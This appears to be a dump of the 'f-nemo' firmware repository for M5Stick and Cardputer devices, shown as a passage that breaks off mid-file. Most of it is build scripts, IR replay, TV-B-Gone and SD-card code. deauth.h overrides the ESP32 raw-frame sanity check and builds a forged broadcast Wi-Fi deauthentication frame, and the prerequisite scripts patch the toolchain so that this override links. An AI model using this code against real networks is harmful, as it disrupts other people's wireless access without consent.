├── M5-Nemo.jpg ├── NEMOMatrix.png ├── .gitattributes ├── configs ├── .env.M5StickC ├── .env.M5Cardputer ├── .env.M5StickCPlus └── .env.M5StickCPlus2 ├── scripts ├── entrypoint.sh ├── docker-build.sh ├── flash.sh └── compile.sh ├── .gitignore ├── deauth_prerequisites ├── install-prerequisites.bat ├── install_prerequisites_Linux.sh ├── install-prerequisites_MAC.sh └── README.md ├── Dockerfile ├── ir_replay.h ├── deauth.h ├── tvbg.h ├── songs.h ├── sd.h ├── IRextra.h ├── wifispam.h ├── README.md ├── applejuice.h ├── portal.h ├── localization.h └── LICENSE /M5-Nemo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Niximkk/f-nemo/HEAD/M5-Nemo.jpg -------------------------------------------------------------------------------- /NEMOMatrix.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Niximkk/f-nemo/HEAD/NEMOMatrix.png -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /configs/.env.M5StickC: -------------------------------------------------------------------------------- 1 | export LOCALE="en-us" 2 | export NAME="M5StickC" 3 | export FQBN="m5stack:esp32:m5stack_stickc" 4 | export EXTRA_FLAGS="-DSTICK_C" 5 | export LIBRARIES="M5StickC@0.2.8 IRRemoteESP8266 M5Stack-SD-Updater M5Unified" 6 | export BOOTLOADER_ADDR="0x1000" 7 | -------------------------------------------------------------------------------- /configs/.env.M5Cardputer: -------------------------------------------------------------------------------- 1 | export LOCALE="en-us" 2 | export NAME="M5Cardputer" 3 | export FQBN="m5stack:esp32:m5stack_cardputer" 4 | export EXTRA_FLAGS="-DCARDPUTER" 5 | export LIBRARIES="M5Cardputer IRRemoteESP8266 M5Stack-SD-Updater M5Unified" 6 | export BOOTLOADER_ADDR="0x0000" 7 | -------------------------------------------------------------------------------- /configs/.env.M5StickCPlus: -------------------------------------------------------------------------------- 1 | export LOCALE="en-us" 2 | export NAME="M5StickCPlus" 3 | export FQBN="m5stack:esp32:m5stack_stickc_plus" 4 | export EXTRA_FLAGS="-DSTICK_C_PLUS" 5 | export LIBRARIES="M5StickCPlus IRRemoteESP8266 M5Stack-SD-Updater M5Unified" 6 | export BOOTLOADER_ADDR="0x1000" 7 | -------------------------------------------------------------------------------- /configs/.env.M5StickCPlus2: -------------------------------------------------------------------------------- 1 | export LOCALE="en-us" 2 | export NAME="M5StickCPlus2" 3 | export FQBN="m5stack:esp32:m5stack_stickc_plus2" 4 | export EXTRA_FLAGS="-DSTICK_C_PLUS2" 5 | export LIBRARIES="M5StickCPlus2 IRRemoteESP8266 M5Stack-SD-Updater M5Unified" 6 | export BOOTLOADER_ADDR="0x1000" 7 | -------------------------------------------------------------------------------- /scripts/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Check if any command-line arguments were passed 4 | if [ $# -eq 0 ]; then 5 | # If no arguments, start an interactive bash shell 6 | /bin/bash 7 | else 8 | # If arguments, run the provided command 9 | exec "$@" 10 | fi 11 | 12 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Visual Studio Code 2 | .vscode/ 3 | 4 | # Prerequisites 5 | build/ 6 | 7 | # Prerequisites 8 | *.d 9 | 10 | # Compiled Object files 11 | *.slo 12 | *.lo 13 | *.o 14 | *.obj 15 | 16 | # Precompiled Headers 17 | *.gch 18 | *.pch 19 | 20 | # Compiled Dynamic libraries 21 | *.so 22 | *.dylib 23 | *.dll 24 | 25 | # Fortran module files 26 | *.mod 27 | *.smod 28 | 29 | # Compiled Static libraries 30 | *.lai 31 | *.la 32 | *.a 33 | *.lib 34 | 35 | # Executables 36 | *.exe 37 | *.out 38 | *.app 39 | -------------------------------------------------------------------------------- /scripts/docker-build.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | BUILD_CONFIG="./configs/.env.${1:-M5Cardputer}" 4 | 5 | set -eu 6 | 7 | echo "Running with config: $BUILD_CONFIG" 8 | cat $BUILD_CONFIG 9 | source $BUILD_CONFIG 10 | docker build ./ --build-arg LIBRARIES="$LIBRARIES" -t m5stick-nemo/arduino-build-cli:test 11 | 12 | mkdir -p build 13 | 14 | docker run --rm -it -v $(pwd):/m5stick-nemo m5stick-nemo/arduino-build-cli:test /compile.sh --name="$NAME" --fqbn="$FQBN" --extra-flags="$EXTRA_FLAGS" --libraries="$LIBRARIES" --bootloader-addr="$BOOTLOADER_ADDR" --locale="$LOCALE" 15 | -------------------------------------------------------------------------------- /scripts/flash.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -eu 4 | 5 | # Define the script usage 6 | usage() { 7 | cat <nul 31 | if %errorlevel% equ 0 ( 32 | echo The file is already OK. 33 | pause 34 | exit /b 35 | ) 36 | 37 | rem Create a backup copy of the original file 38 | copy "%file%" "%backupFile%" 39 | 40 | rem Use PowerShell to edit the file 41 | powershell -Command "(Get-Content '%file%') | ForEach-Object { $_ -replace ('^(%prefix%.*?)$', '$1%option%') -replace ('^(%prefix2%.*?)$', '$1%option2%') } | Set-Content '%file%'" 42 | 43 | rem Add the ready mark to the end of the file 44 | echo %readyMark%>> "%file%" 45 | 46 | rem Open the latest version of the folder in Windows Explorer 47 | start explorer "%baseFolder%\%latestVersion%" 48 | 49 | echo Done. 50 | pause 51 | 52 | -------------------------------------------------------------------------------- /deauth_prerequisites/install_prerequisites_Linux.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | baseFolder="$HOME/.arduino15/packages/m5stack/hardware/esp32" 4 | 5 | # Find the latest version of the folder 6 | latestVersion=$(find "$baseFolder" -maxdepth 1 -type d -exec basename {} \; | sed '/esp32/d' | sort -V -r | head -n 1) 7 | 8 | if [ -z "$latestVersion" ]; then 9 | echo "No version found." 10 | read -p "Press Enter to exit." 11 | exit 1 12 | fi 13 | 14 | # Full path to the file to be edited 15 | file="$baseFolder/$latestVersion/platform.txt" 16 | backupFile="$baseFolder/$latestVersion/platform.txt.bkp" 17 | prefix="build.extra_flags.esp32" 18 | option=" -w " 19 | 20 | prefix2="compiler.c.elf.libs.esp32" 21 | option2=" -zmuldefs " 22 | 23 | readyMark="##NEMO_DEAUTH_READY##" 24 | 25 | # Check if the ready mark already exists in the file 26 | grep -q "$readyMark" "$file" 27 | if [ $? -eq 0 ]; then 28 | echo "The file is already OK." 29 | read -p "Press Enter to exit." 30 | exit 0 31 | fi 32 | 33 | # Create a backup copy of the original file 34 | cp "$file" "$backupFile" 35 | 36 | # Use awk to insert options after the first equals sign on lines with specified prefixes 37 | awk -v prefix="$prefix" -v option="$option" -v prefix2="$prefix2" -v option2="$option2" '{ 38 | if ($0 ~ "^" prefix) { 39 | sub(/=/, "=" option); 40 | print; 41 | } else if ($0 ~ "^" prefix2) { 42 | sub(/=/, "=" option2); 43 | print; 44 | } else { 45 | print; 46 | } 47 | }' "$file" > "$file.tmp" && mv "$file.tmp" "$file" 48 | 49 | # Add the ready mark to the end of the file 50 | echo "$readyMark" >> "$file" 51 | 52 | echo "Done." 53 | -------------------------------------------------------------------------------- /deauth_prerequisites/install-prerequisites_MAC.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | baseFolder="$HOME/Library/Arduino15/packages/m5stack/hardware/esp32" 4 | 5 | # Find the latest version of the folder 6 | latestVersion=$(find "$baseFolder" -maxdepth 1 -type d -exec basename {} \; | sort -V | head -n 1) 7 | 8 | if [ -z "$latestVersion" ]; then 9 | echo "No version found." 10 | read -p "Press Enter to exit." 11 | exit 1 12 | fi 13 | 14 | # Full path to the file to be edited 15 | file="$baseFolder/$latestVersion/platform.txt" 16 | backupFile="$baseFolder/$latestVersion/platform.txt.bkp" 17 | prefix="build.extra_flags.esp32" 18 | option=" -w " 19 | 20 | prefix2="compiler.c.elf.libs.esp32" 21 | option2=" -zmuldefs " 22 | 23 | readyMark="##NEMO_DEAUTH_READY##" 24 | 25 | # Check if the ready mark already exists in the file 26 | grep -q "$readyMark" "$file" 27 | if [ $? -eq 0 ]; then 28 | echo "The file is already OK." 29 | read -p "Press Enter to exit." 30 | exit 0 31 | fi 32 | 33 | # Create a backup copy of the original file 34 | cp "$file" "$backupFile" 35 | 36 | # Use awk to insert options after the first equals sign on lines with specified prefixes 37 | awk -v prefix="$prefix" -v option="$option" -v prefix2="$prefix2" -v option2="$option2" '{ 38 | if ($0 ~ "^" prefix) { 39 | sub(/=/, "=" option); 40 | print; 41 | } else if ($0 ~ "^" prefix2) { 42 | sub(/=/, "=" option2); 43 | print; 44 | } else { 45 | print; 46 | } 47 | }' "$file" > "$file.tmp" && mv "$file.tmp" "$file" 48 | 49 | # Add the ready mark to the end of the file 50 | echo "$readyMark" >> "$file" 51 | 52 | # Open the latest version of the folder in Finder 53 | open "$baseFolder/$latestVersion" 54 | 55 | echo "Done." 56 | read -p "Press Enter to exit." 57 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6-slim 2 | 3 | ENV PYTHONBUFFERED=1 4 | 5 | # Install required packages and tools 6 | RUN apt-get update && apt-get install -y --no-install-recommends \ 7 | curl \ 8 | bash \ 9 | && apt-get clean \ 10 | && rm -rf /var/lib/apt/lists/* 11 | 12 | RUN curl -fsSL https://raw.githubusercontent.com/arduino/arduino-cli/master/install.sh | BINDIR=/usr/bin sh 13 | 14 | # Ensure pip is installed and upgrade it 15 | RUN python3 -m ensurepip 16 | RUN pip3 install --no-cache --upgrade pip setuptools pyserial esptool 17 | 18 | # Install 32-bit C++ standard library 19 | RUN apt-get update && apt-get install -y --no-install-recommends \ 20 | lib32stdc++6 \ 21 | && apt-get clean \ 22 | && rm -rf /var/lib/apt/lists/* 23 | 24 | # Install m5stack boards 25 | COPY ./package_m5stack_index.json /package_m5stack_index.json 26 | RUN arduino-cli core install m5stack:esp32 --additional-urls "file:///package_m5stack_index.json" --log-level warn --verbose 27 | 28 | RUN arduino-cli core search m5stack 29 | RUN arduino-cli board listall 30 | # 31 | # Create a directory for the prerequisites script 32 | RUN mkdir -p /deauth_prerequisites 33 | COPY ./deauth_prerequisites/install_prerequisites_Linux.sh /deauth_prerequisites/install_prerequisites_linux.sh 34 | 35 | # Make the script executable 36 | RUN chmod +x /deauth_prerequisites/install_prerequisites_linux.sh 37 | 38 | # Run the script 39 | RUN /deauth_prerequisites/install_prerequisites_linux.sh 40 | 41 | ARG LIBRARIES 42 | 43 | # Install required libraries 44 | RUN arduino-cli lib install $LIBRARIES --log-level warn --verbose 45 | 46 | COPY ./scripts/compile.sh /compile.sh 47 | RUN chmod +x /compile.sh 48 | 49 | COPY ./scripts/entrypoint.sh ./entrypoint.sh 50 | RUN chmod +x /entrypoint.sh 51 | 52 | ENTRYPOINT ["/entrypoint.sh"] 53 | -------------------------------------------------------------------------------- /scripts/compile.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Define the script usage 4 | usage() { 5 | cat < 2 | #include 3 | #include 4 | #include "FS.h" 5 | #include "SPIFFS.h" 6 | 7 | #define MAX_RAWBUF_SIZE 100 8 | 9 | decode_results results; 10 | uint16_t* rawcode; 11 | 12 | int rawDataLen; 13 | IRrecv irrecv(IRRECV); 14 | 15 | void setupReceiver() { 16 | DISP.fillScreen(BGCOLOR); 17 | DISP.setTextSize(BIG_TEXT); 18 | DISP.setCursor(0, 0); 19 | DISP.println("IR Replay"); 20 | irrecv.enableIRIn(); 21 | delay(500); 22 | } 23 | 24 | void receiveSignal() { 25 | DISP.fillScreen(BGCOLOR); 26 | DISP.setTextSize(BIG_TEXT); 27 | DISP.setCursor(0, 0); 28 | DISP.println("Receiver"); 29 | DISP.setTextSize(MEDIUM_TEXT); 30 | DISP.println("Waiting..."); 31 | pinMode(IRRECV, INPUT); 32 | while(true){ 33 | if (irrecv.decode(&results)) { 34 | rawcode = new uint16_t[MAX_RAWBUF_SIZE]; 35 | memset(rawcode, 0, MAX_RAWBUF_SIZE * sizeof(uint16_t)); 36 | rawDataLen = results.rawlen; 37 | DISP.fillScreen(BGCOLOR); 38 | DISP.setTextSize(BIG_TEXT); 39 | DISP.setCursor(0, 0); 40 | DISP.println("Receiver"); 41 | DISP.setTextSize(MEDIUM_TEXT); 42 | DISP.println("Recorded!"); 43 | DISP.print(results.value, HEX); 44 | Serial.print("Raw Data "); 45 | Serial.print(rawDataLen); 46 | Serial.print(" : "); 47 | //String RawString = ""; 48 | for (int i = 1; i < results.rawlen; i++) { 49 | //RawString += String(results.rawbuf[i]); 50 | Serial.print(results.rawbuf[i], DEC); 51 | if (i < results.rawlen - 1){ 52 | Serial.print(", "); 53 | //RawString += ", "; 54 | } 55 | rawcode[i - 1] = results.rawbuf[i] * 2; 56 | } 57 | //saveToSpiffs(RawString); 58 | Serial.println(); 59 | Serial.print("Hex: "); 60 | Serial.println(results.value, HEX); 61 | irrecv.resume(); 62 | pinMode(IRRECV, OUTPUT); 63 | delay(1000); 64 | break; 65 | } 66 | } 67 | } 68 | 69 | void sendSignal() { 70 | irsend.begin(); 71 | DISP.fillScreen(BGCOLOR); 72 | DISP.setTextSize(BIG_TEXT); 73 | DISP.setCursor(0, 0); 74 | DISP.println("IR Sender"); 75 | DISP.setTextSize(MEDIUM_TEXT); 76 | DISP.println("Sending..."); 77 | Serial.println("Sending Custom"); 78 | irsend.sendRaw(rawcode, rawDataLen, 38); // 38Khz 79 | delay(1000); 80 | } 81 | 82 | void saveToSpiffs(String rawData){ 83 | if (!SPIFFS.begin()) { 84 | Serial.println("Failed to mount SPIFFS"); 85 | return; 86 | } 87 | Serial.println("SPIFFS successfully mounted"); 88 | 89 | File file = SPIFFS.open("/FNemoIR.txt", FILE_WRITE); 90 | if (!file) { 91 | Serial.println("Error opening the file"); 92 | return; 93 | } 94 | 95 | if (file.println(rawData)) { 96 | Serial.println("IR saved successfully"); 97 | } else { 98 | Serial.println("Error saving IR"); 99 | } 100 | 101 | file.close(); 102 | } -------------------------------------------------------------------------------- /deauth.h: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | // Borrowed from https://github.com/justcallmekoko/ESP32Marauder/ 5 | // Learned from https://github.com/risinek/esp32-wifi-penetration-tool/ 6 | // Arduino IDE needs to be tweeked to work, follow the instructions: https://github.com/justcallmekoko/ESP32Marauder/wiki/arduino-ide-setup 7 | // But change the file in: C:\Users\\AppData\Local\Arduino15\packages\m5stack\hardware\esp32\2.0.9\ 8 | 9 | // info on my github: https://github.com/bmorcelli/m5stickC_Plus2-nemo 10 | 11 | 12 | 13 | #if defined(DEAUTHER) 14 | #include 15 | #include "esp_wifi.h" 16 | #include "esp_system.h" 17 | 18 | 19 | extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){ 20 | if (arg == 31337) 21 | return 1; 22 | else 23 | return 0; 24 | } 25 | /** 26 | * @brief Sends frame in frame_buffer using esp_wifi_80211_tx but bypasses blocking mechanism 27 | * 28 | * @param frame_buffer 29 | * @param size size of frame buffer 30 | */ 31 | void wsl_bypasser_send_raw_frame(const uint8_t *frame_buffer, int size); 32 | 33 | /** 34 | * @brief Sends deauthentication frame with forged source AP from given ap_record 35 | * 36 | * This will send deauthentication frame acting as frame from given AP, and destination will be broadcast 37 | * MAC address - \c ff:ff:ff:ff:ff:ff 38 | * 39 | * @param ap_record AP record with valid AP information 40 | * @param chan Channel of the targetted AP 41 | */ 42 | void wsl_bypasser_send_deauth_frame(const wifi_ap_record_t *ap_record, uint8_t chan); 43 | 44 | static const uint8_t deauth_frame_default[] = { 45 | 0xc0, 0x00, 0x3a, 0x01, 46 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 47 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 48 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 49 | 0xf0, 0xff, 0x02, 0x00 50 | }; 51 | uint8_t deauth_frame[sizeof(deauth_frame_default)]; 52 | /** 53 | * @brief Decomplied function that overrides original one at compilation time. 54 | * 55 | * @attention This function is not meant to be called! 56 | * @see Project with original idea/implementation https://github.com/GANESH-ICMC/esp32-deauther 57 | 58 | int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){ 59 | return 0; 60 | } 61 | 62 | */ 63 | 64 | 65 | void wsl_bypasser_send_raw_frame(const uint8_t *frame_buffer, int size){ 66 | ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, frame_buffer, size, false)); 67 | Serial.println(" -> Sent deauth frame"); 68 | } 69 | 70 | void wsl_bypasser_send_deauth_frame(const wifi_ap_record_t *ap_record, uint8_t chan){ 71 | Serial.print("\Preparing deauth frame to -> "); 72 | for (int j = 0; j < 6; j++) { 73 | Serial.print(ap_record->bssid[j], HEX); 74 | if (j < 5) Serial.print(":"); 75 | } 76 | esp_wifi_set_channel(chan, WIFI_SECOND_CHAN_NONE); 77 | delay(50); 78 | memcpy(&deauth_frame[10], ap_record->bssid, 6); 79 | memcpy(&deauth_frame[16], ap_record->bssid, 6); 80 | } 81 | 82 | 83 | #endif -------------------------------------------------------------------------------- /tvbg.h: -------------------------------------------------------------------------------- 1 | /* 2 | Last Updated: 30 Mar. 2018 3 | By Anton Grimpelhuber (anton.grimpelhuber@gmail.com) 4 | */ 5 | 6 | // The TV-B-Gone for Arduino can use either the EU (European Union) or the NA (North America) database of POWER CODES 7 | // EU is for Europe, Middle East, Australia, New Zealand, and some countries in Africa and South America 8 | // NA is for North America, Asia, and the rest of the world not covered by EU 9 | 10 | // Two regions! 11 | #define NA 0 //set by a HIGH on REGIONSWITCH pin 12 | #define EU 1 //set by a LOW on REGIONSWITCH pin 13 | 14 | // Lets us calculate the size of the NA/EU databases 15 | #define NUM_ELEM(x) (sizeof (x) / sizeof (*(x))); 16 | 17 | // set define to 0 to turn off debug output 18 | #define DEBUG 0 19 | #define DEBUGP(x) if (DEBUG == 1) { x ; } 20 | 21 | // Shortcut to insert single, non-optimized-out nop 22 | #define NOP __asm__ __volatile__ ("nop") 23 | 24 | // Not used any more on esp8266, so don't bother 25 | // Tweak this if neccessary to change timing 26 | // -for 8MHz Arduinos, a good starting value is 11 27 | // -for 16MHz Arduinos, a good starting value is 25 28 | #define DELAY_CNT 25 29 | 30 | // Makes the codes more readable. the OCRA is actually 31 | // programmed in terms of 'periods' not 'freqs' - that 32 | // is, the inverse! 33 | // #define freq_to_timerval(x) (F_CPU / 8 / x - 1) 34 | #define freq_to_timerval(x) (x / 1000) 35 | 36 | // The structure of compressed code entries 37 | struct IrCode { 38 | uint8_t timer_val; 39 | uint8_t numpairs; 40 | uint8_t bitcompression; 41 | uint16_t const *times; 42 | uint8_t const *codes; 43 | }; 44 | 45 | void xmitCodeElement(uint16_t ontime, uint16_t offtime, uint8_t PWM_code ); 46 | void quickflashLEDx( uint8_t x ); 47 | void delay_ten_us(uint16_t us); 48 | void quickflashLED( void ); 49 | uint8_t read_bits(uint8_t count); 50 | uint16_t rawData[300]; 51 | #define MAX_WAIT_TIME 65535 //tens of us (ie: 655.350ms) 52 | IRsend irsend(IRLED); // Set the GPIO to be used to sending the message. 53 | extern const IrCode* const NApowerCodes[]; 54 | extern const IrCode* const EUpowerCodes[]; 55 | extern uint8_t num_NAcodes, num_EUcodes; 56 | uint8_t bitsleft_r = 0; 57 | uint8_t bits_r = 0; 58 | uint8_t code_ptr; 59 | volatile const IrCode * powerCode; 60 | uint8_t read_bits(uint8_t count) 61 | { 62 | uint8_t i; 63 | uint8_t tmp = 0; 64 | for (i = 0; i < count; i++) { 65 | if (bitsleft_r == 0) { 66 | bits_r = powerCode->codes[code_ptr++]; 67 | bitsleft_r = 8; 68 | } 69 | bitsleft_r--; 70 | tmp |= (((bits_r >> (bitsleft_r)) & 1) << (count - 1 - i)); 71 | } 72 | return tmp; 73 | } 74 | uint16_t ontime, offtime; 75 | uint8_t i, num_codes; 76 | uint8_t region; 77 | 78 | void delay_ten_us(uint16_t us) { 79 | uint8_t timer; 80 | while (us != 0) { 81 | for (timer = 0; timer <= DELAY_CNT; timer++) { 82 | NOP; 83 | NOP; 84 | } 85 | NOP; 86 | us--; 87 | } 88 | } 89 | 90 | void quickflashLED( void ) { 91 | #if defined(M5LED) 92 | digitalWrite(IRLED, M5LED_ON); 93 | delay_ten_us(3000); // 30 ms ON-time delay 94 | digitalWrite(IRLED, M5LED_OFF); 95 | #endif 96 | } 97 | 98 | void quickflashLEDx( uint8_t x ) { 99 | quickflashLED(); 100 | while (--x) { 101 | delay_ten_us(25000); // 250 ms OFF-time delay between flashes 102 | quickflashLED(); 103 | } 104 | } 105 | -------------------------------------------------------------------------------- /songs.h: -------------------------------------------------------------------------------- 1 | /* 2 | Adapted by Milton Matuda to work with M5-NEMO. 3 | You cand find a list of #define for other octaves at Robson's Github. 4 | IG: @35mmatuda | https://github.com/Mmatuda 5 | */ 6 | /* 7 | Super Mario Bros - Overworld theme 8 | More songs available at https://github.com/robsoncouto/arduino-songs 9 | 10 | Robson Couto, 2019 11 | */ 12 | #define NOTE_G5 784 13 | #define NOTE_C6 1047 14 | #define NOTE_CS6 1109 15 | #define NOTE_D6 1175 16 | #define NOTE_DS6 1245 17 | #define NOTE_E6 1319 18 | #define NOTE_F6 1397 19 | #define NOTE_FS6 1480 20 | #define NOTE_G6 1568 21 | #define NOTE_GS6 1661 22 | #define NOTE_A6 1760 23 | #define NOTE_AS6 1865 24 | #define NOTE_B6 1976 25 | #define REST 0 26 | 27 | // change this to make the song slower or faster 28 | int tempo = 200; 29 | 30 | // notes of the melody followed by the duration. 31 | // a 4 means a quarter note, 8 an eighteenth , 16 sixteenth, so on 32 | // !!negative numbers are used to represent dotted notes, 33 | // so -4 means a dotted quarter note, that is, a quarter plus an eighteenth!! 34 | int melody[] = { 35 | 36 | // Super Mario Bros theme 37 | // Score available at https://musescore.com/user/2123/scores/2145 38 | // Theme by Koji Kondo 39 | 40 | NOTE_E6,8, NOTE_E6,8, REST,8, NOTE_E6,8, REST,8, NOTE_C6,8, NOTE_E6,8, //WRITE YOUR MELODY HERE 41 | NOTE_G6,4, REST,2, NOTE_G5,2, 42 | }; 43 | 44 | // sizeof gives the number of bytes, each int value is composed of two bytes (16 bits) 45 | // there are two values per note (pitch and duration), so for each note there are four bytes 46 | int notes = sizeof(melody) / sizeof(melody[0]) / 2; 47 | 48 | // this calculates the duration of a whole note in ms 49 | int wholenote = (60000 * 4) / tempo; 50 | 51 | int divider = 0, noteDuration = 0; 52 | 53 | void setupSongs() { 54 | // iterate over the notes of the melody. 55 | // Remember, the array is twice the number of notes (notes + durations) 56 | for (int thisNote = 0; thisNote < notes * 2; thisNote = thisNote + 2) { 57 | 58 | // calculates the duration of each note 59 | divider = melody[thisNote + 1]; 60 | if (divider > 0) { 61 | // regular note, just proceed 62 | noteDuration = (wholenote) / divider; 63 | } else if (divider < 0) { 64 | // dotted notes are represented with negative durations!! 65 | noteDuration = (wholenote) / abs(divider); 66 | noteDuration *= 1.5; // increases the duration in half for dotted notes 67 | } 68 | #if defined(STICK_C_PLUS) 69 | // playing 2 octave up (2^2) due to proximity of frequencies and high noise on low freqs 70 | SPEAKER.tone(melody[thisNote]*4, noteDuration*0.9); 71 | SPEAKER.tone(0, noteDuration*0.1); 72 | // Wait for the specief duration before playing the next note. 73 | delay(noteDuration); 74 | SPEAKER.mute(); 75 | #elif defined(CARDPUTER) 76 | // we only play the note for 90% of the duration, leaving 10% as a pause 77 | SPEAKER.tone(melody[thisNote], noteDuration * 0.9); 78 | // Wait for the specief duration before playing the next note. 79 | delay(noteDuration); 80 | #elif defined(STICK_C_PLUS2) 81 | // playing 2 octave up (2^2) due to proximity of frequencies and high noise on low freqs 82 | SPEAKER.tone(melody[thisNote]*4, noteDuration*0.9); 83 | SPEAKER.tone(0, noteDuration*0.1); 84 | // Wait for the specief duration before playing the next note. 85 | delay(noteDuration); 86 | SPEAKER.stop(); 87 | #endif 88 | 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /sd.h: -------------------------------------------------------------------------------- 1 | 2 | bool sdcardMounted = false; 3 | #if defined(SDCARD) 4 | #include 5 | #include 6 | #include 7 | 8 | #if defined(CARDPUTER) 9 | SPIClass* sdcardSPI = NULL; 10 | #else 11 | SPIClass sdcardSPI; 12 | #endif 13 | SemaphoreHandle_t sdcardSemaphore; 14 | 15 | void appendToFile(fs::FS& fs, const char* path, const char* text) { 16 | if (xSemaphoreTake(sdcardSemaphore, portMAX_DELAY) == pdTRUE) { 17 | File file = fs.open(path, FILE_APPEND); 18 | if (!file) { 19 | Serial.println("Failed to open file for appending"); 20 | xSemaphoreGive(sdcardSemaphore); 21 | return; 22 | } 23 | Serial.printf("Appending text '%s' to file: %s\n", text, path); 24 | if (file.println(text)) { 25 | Serial.println("Text appended"); 26 | } else { 27 | Serial.println("Append failed"); 28 | } 29 | file.close(); 30 | xSemaphoreGive(sdcardSemaphore); 31 | } 32 | } 33 | #endif 34 | 35 | bool setupSdCard() { 36 | #if defined(SDCARD) 37 | sdcardSemaphore = xSemaphoreCreateMutex(); 38 | #if defined (CARDPUTER) 39 | sdcardSPI = new SPIClass(FSPI); 40 | sdcardSPI->begin(SD_CLK_PIN, SD_MISO_PIN, SD_MOSI_PIN, SD_CS_PIN); 41 | #else 42 | sdcardSPI.begin(SD_CLK_PIN, SD_MISO_PIN, SD_MOSI_PIN, SD_CS_PIN); // start SPI communications 43 | #endif 44 | 45 | delay(10); 46 | 47 | #if defined (CARDPUTER) 48 | if (!SD.begin(SD_CS_PIN, *sdcardSPI)) { 49 | sdcardSPI->end(); 50 | #else 51 | if (!SD.begin(SD_CS_PIN, sdcardSPI)) { //excluded * -> poiter indicator - 52 | sdcardSPI.end(); // Closes SPI connections and release pin header. 53 | #endif 54 | Serial.println("Failed to mount SDCARD"); 55 | 56 | return false; 57 | } else { 58 | Serial.println("SDCARD mounted successfully"); 59 | sdcardMounted = true; 60 | return true; 61 | } 62 | #else 63 | return false; 64 | #endif 65 | } 66 | 67 | #if defined(SDCARD) 68 | #ifndef CARDPUTER 69 | void ToggleSDCard(int proc) 70 | { 71 | rstOverride = true; 72 | isSwitching = true; 73 | uint8_t cardType = NULL; 74 | uint64_t cardSize = NULL; 75 | current_proc=proc; 76 | DISP.fillScreen(BGCOLOR); 77 | DISP.setCursor(5, 1); 78 | if (sdcardMounted == true) { 79 | sdcardMounted = false; 80 | uint8_t cardType = 0; 81 | uint64_t cardSize = 0; 82 | SD.end(); 83 | sdcardSPI.end(); // Closes SPI connections and release pins. 84 | DISP.println("SD Card Unmouted.."); 85 | DISP.println("pin header released."); 86 | Serial.println("SD Card Unmounted..."); 87 | } else { 88 | sdcardSPI.begin(SD_CLK_PIN, SD_MISO_PIN, SD_MOSI_PIN, SD_CS_PIN); 89 | delay(10); 90 | 91 | if (!SD.begin(SD_CS_PIN, sdcardSPI)) { 92 | Serial.println("Card Mount Failed"); 93 | DISP.println("Card Mount Failed"); 94 | sdcardSPI.end(); 95 | 96 | } else { 97 | // 98 | sdcardMounted = true; 99 | uint8_t cardType = SD.cardType(); 100 | if (cardType == CARD_NONE) { 101 | DISP.println("None SD Card"); 102 | Serial.println("None SD Card"); 103 | } 104 | DISP.print("SD Card Type: "); 105 | if (cardType == CARD_MMC) { 106 | DISP.println("MMC"); 107 | Serial.println("MMC"); 108 | } else if (cardType == CARD_SD) { 109 | DISP.println("SDSC"); 110 | Serial.println("SDSC"); 111 | } else if (cardType == CARD_SDHC) { 112 | DISP.println("SDHC"); 113 | Serial.println("SDHC"); 114 | } else { 115 | DISP.println("UNKNOWN"); 116 | Serial.println("UNKNOWN"); 117 | } 118 | uint64_t cardSize = SD.cardSize() / (1024 * 1024); 119 | DISP.printf("SD Card Size: %lluMB\n", cardSize); 120 | Serial.printf("SD Card Size: %lluMB\n", cardSize); 121 | } 122 | } 123 | delay(1500); 124 | } 125 | #endif 126 | #endif 127 | -------------------------------------------------------------------------------- /IRextra.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define IR_DATA_BUFFER_SIZE 300 8 | File databaseFile; 9 | 10 | void sendRawCommand(int frequency, String rawData); 11 | void sendNECextCommand(String address, String command); 12 | void sendNECCommand(String address, String command); 13 | void sendRC5Command(String address, String command); 14 | void sendSamsungCommand(String address, String command); 15 | void sendSonyCommand(String address, String command); 16 | void otherIRcodes(); 17 | 18 | //Setup 19 | 20 | void otherIRcodes() { 21 | //Serial.begin(115200); 22 | 23 | databaseFile = SD.open("/IR_Codes.txt"); 24 | if (!databaseFile) { 25 | Serial.println("Failed to open database file."); 26 | return; 27 | } 28 | Serial.println("Opened database file."); 29 | String line; 30 | while (databaseFile.available()) { 31 | line = databaseFile.readStringUntil('\n'); 32 | if (line.startsWith("type:")) { 33 | String type = line.substring(5); 34 | type.trim(); 35 | Serial.println("Type: "+type); 36 | if (type == "raw") { 37 | Serial.println("RAW"); 38 | int frequency = 0; 39 | String rawData = ""; 40 | while (databaseFile.available()) { 41 | line = databaseFile.readStringUntil('\n'); 42 | if (line.startsWith("frequency:")) { 43 | String frequencyString = line.substring(10); 44 | frequencyString.trim(); 45 | frequency = frequencyString.toInt(); 46 | } else if (line.startsWith("data:")) { 47 | rawData = line.substring(5); 48 | rawData.trim(); 49 | } else if (line.indexOf("#") != -1) { 50 | Serial.println("Frequency: "+frequency); 51 | Serial.println("RawData: "+rawData); 52 | sendRawCommand(frequency, rawData); 53 | rawData = ""; 54 | frequency = 0; 55 | type = ""; 56 | line = ""; 57 | break; 58 | } 59 | } 60 | } else if (type == "parsed") { 61 | String protocol = ""; 62 | String 